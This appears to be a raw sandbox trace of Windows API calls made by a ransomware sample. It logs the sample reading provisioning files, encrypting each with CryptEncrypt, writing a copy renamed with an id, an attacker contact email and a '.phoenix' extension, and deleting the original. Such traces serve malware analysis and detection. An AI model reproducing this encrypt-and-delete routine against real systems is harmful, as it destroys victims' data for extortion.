	[0237.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.664] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.664] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.664] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.664] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.665] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0237.665] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.665] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28b, lpOverlapped=0x0) returned 1
	[0237.684] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0237.684] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0237.685] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0237.685] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.685] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.685] CryptDestroyKey (hKey=0x151500) returned 1
	[0237.685] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.685] CryptDestroyKey (hKey=0x151140) returned 1
	[0237.685] CloseHandle (hObject=0x2c0) returned 1
	[0237.685] CloseHandle (hObject=0x2f0) returned 1
	[0237.685] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.687] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.687] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=650) returned 1
	[0237.687] CloseHandle (hObject=0x2f0) returned 1
	[0237.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.688] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.688] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.688] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0237.688] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.688] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28a, lpOverlapped=0x0) returned 1
	[0237.795] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0237.795] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0237.796] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0237.796] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.796] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.796] CryptDestroyKey (hKey=0x151280) returned 1
	[0237.796] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.796] CryptDestroyKey (hKey=0x151380) returned 1
	[0237.796] CloseHandle (hObject=0x2f0) returned 1
	[0237.797] CloseHandle (hObject=0x2c0) returned 1
	[0237.797] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.798] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.798] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.798] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=717) returned 1
	[0237.798] CloseHandle (hObject=0x2c0) returned 1
	[0237.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.798] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.799] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.799] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.799] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.801] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0237.801] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.801] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cd, lpOverlapped=0x0) returned 1
	[0237.860] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0237.860] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0237.861] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0237.861] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.861] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.861] CryptDestroyKey (hKey=0x151440) returned 1
	[0237.861] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.861] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.861] CloseHandle (hObject=0x2c0) returned 1
	[0237.861] CloseHandle (hObject=0x2f0) returned 1
	[0237.862] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.863] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.863] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.863] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=642) returned 1
	[0237.863] CloseHandle (hObject=0x2f0) returned 1
	[0237.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.863] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.864] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.864] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.864] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0237.864] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.864] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x282, lpOverlapped=0x0) returned 1
	[0237.872] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0237.872] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0237.873] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0237.873] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.873] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.873] CryptDestroyKey (hKey=0x151240) returned 1
	[0237.873] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.873] CryptDestroyKey (hKey=0x151200) returned 1
	[0237.873] CloseHandle (hObject=0x2f0) returned 1
	[0237.873] CloseHandle (hObject=0x2c0) returned 1
	[0237.873] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.874] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.874] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.875] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0237.875] CloseHandle (hObject=0x2c0) returned 1
	[0237.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.875] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.875] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.875] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.875] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.876] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
